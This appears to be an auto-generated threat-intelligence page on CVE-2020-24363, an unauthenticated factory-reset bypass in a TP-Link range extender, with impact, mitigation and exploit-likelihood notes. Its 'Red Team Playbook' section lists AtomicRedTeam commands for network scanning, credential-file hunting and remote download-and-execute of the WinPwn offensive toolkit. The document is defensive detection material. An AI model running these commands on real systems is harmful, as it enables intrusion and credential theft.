CVE-2020-24363
Overview
This vulnerability is an authentication bypass affecting the TP-Link TL-WA855RE V5 firmware. The root cause lies in the device's TDDP_RESET POST request handler, which lacks proper authentication verification, allowing unauthenticated network users to trigger a factory reset. The affected component is the device's web management interface responsible for processing configuration reset commands.
Vulnerability Description
TP-Link TL-WA855RE V5 20200415-rel37464 devices allow an unauthenticated attacker (on the same network) to submit a TDDP_RESET POST request for a factory reset and reboot. The attacker can then obtain incorrect access control by setting a new administrative password.
Impact
An attacker on the same network can remotely reset the device to factory defaults without authentication, then configure a new administrative password. This grants full administrative access to the device, enabling configuration changes, network manipulation, and potential lateral movement within the network. No prior credentials or user interaction are necessary, exposing the device to complete compromise and persistent unauthorized control.
Solution
TP-Link has released updated firmware versions addressing this issue, available for the TL-WA855RE model on their official support page (https://www.tp-link.com/us/support/download/tl-wa855re/#Firmware). Users should upgrade to the latest firmware release post-20200415-rel37464. Refer to the vendor's advisory and download page for detailed update instructions to mitigate this vulnerability effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the TP-Link TL-WA855RE V5 devices stems from a flaw in the handling of TDDP_RESET POST requests, which allows an unauthenticated attacker on the same local network to initiate a factory reset and reboot of the device. This vulnerability arises from inadequate access controls, permitting unauthorized users to exploit the device's management interface. Once the device is reset, the attacker can set a new administrative password, effectively gaining control over the device and bypassing any existing security measures. The lack of authentication for this critical operation highlights a significant oversight in the device's firmware design and implementation.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage a simple network scan to identify vulnerable devices within the local network. Once identified, the attacker can send crafted TDDP_RESET POST requests to the targeted device. This attack does not require any sophisticated techniques, making it accessible to individuals with minimal technical expertise. Scenarios may involve an attacker gaining physical proximity to the network, such as in a corporate environment or public Wi-Fi setting, where they can execute the attack without needing to bypass any authentication mechanisms. The potential for exploitation increases in environments with inadequate network segmentation or where devices are deployed without proper security configurations.
The real-world impact of this vulnerability can be substantial, particularly for businesses relying on the TP-Link TL-WA855RE devices for network connectivity. An attacker gaining administrative access could manipulate network settings, redirect traffic, or even deploy malicious payloads within the network. This could lead to data breaches, loss of sensitive information, or unauthorized access to internal resources. The business risks associated with such incidents include financial losses, reputational damage, and potential regulatory penalties, particularly if customer data is compromised. Additionally, the ease of exploitation poses a significant threat to organizations that may not have robust security measures in place, making them attractive targets for attackers.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, network segmentation is crucial; isolating devices like the TP-Link TL-WA855RE from critical systems can limit the potential impact of an attack. Regularly monitoring network traffic for unusual activity, such as unauthorized POST requests, can help identify potential exploitation attempts. Furthermore, organizations should ensure that all devices are running the latest firmware updates, as manufacturers often release patches to address known vulnerabilities. Implementing strong network access controls, such as requiring authentication for device management interfaces, can also significantly reduce the risk of unauthorized access.
In conclusion, the vulnerability in the TP-Link TL-WA855RE devices represents a critical security concern that can be exploited by attackers to gain unauthorized access and control over network devices. The simplicity of the attack vector and the potential for significant real-world impact necessitate a proactive approach to security. By employing effective detection and mitigation strategies, organizations can safeguard their networks against such vulnerabilities, thereby enhancing their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in the exploitability potential of CVE-2020-24363, as reflected by a substantial increase in the Exploit Prediction Scoring System (EPSS) from 0.1179 to 0.2069. This upward shift indicates a growing likelihood that threat actors will leverage this vulnerability in operational environments. Although there is no current evidence of ransomware groups exploiting this flaw, the inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog underscores its elevated priority for adversaries. Our telemetry shows a steady upward trend in exploit attempts, suggesting that attackers are increasingly targeting TP-Link TL-WA855RE devices to bypass authentication controls and gain unauthorized administrative access. For defenders, this development signals an urgent need to reassess the risk posture of affected network segments, as the ease of exploitation combined with the potential for persistent device compromise raises the overall threat level to high. Consequently, organizations should consider this vulnerability as a more immediate and credible risk than previously assessed, reflecting an increased likelihood of active exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tp-Link | Tl-Wa855re Firmware | All |
cpe:2.3:o:tp-link:tl-wa855re_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass | malwrforensics | webapps | hardware | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-24363 |
| tp-link.com |
GitHub CVE
x_refsource_MISC
|
https://www.tp-link.com/us/support/download/tl-wa855re/#Firmware |
| malwrforensics.com |
GitHub CVE
x_refsource_MISC
|
http://malwrforensics.com/en/2020/08/31/cve-2020-24363-tl-wa855re-v5-advisory/ |
| pastebin.com |
GitHub CVE
x_refsource_MISC
|
https://pastebin.com/VjHM4UiA |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-24363 |